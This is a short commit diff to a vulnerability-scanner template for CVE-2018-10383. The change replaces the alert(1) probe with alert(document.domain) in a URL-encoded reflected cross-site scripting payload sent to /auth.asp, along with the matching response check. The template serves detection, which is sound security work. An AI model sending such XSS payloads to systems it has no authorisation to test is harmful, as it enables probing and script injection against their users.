Update CVE-2018-10383.yaml

patch-14
Ritik Chaddha 2024-11-07 17:29:37 +05:30 committed by GitHub
parent 1087fac1b2
commit 0ae9113f16
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 2 additions and 2 deletions

View File

@ -40,12 +40,12 @@ http:
- raw:
- |
GET /auth.asp?nickname=%22%3E%3Cstyle%20onload%3D%22alert(1)%22%3E HTTP/1.1
GET /auth.asp?nickname=%22%3E%3Cstyle%20onload%3D%22alert(document.domain)%22%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "><style onload=\"alert(1)\">")'
- 'contains(body, "><style onload=\"alert(document.domain)\">")'
- 'status_code == 200'
condition: and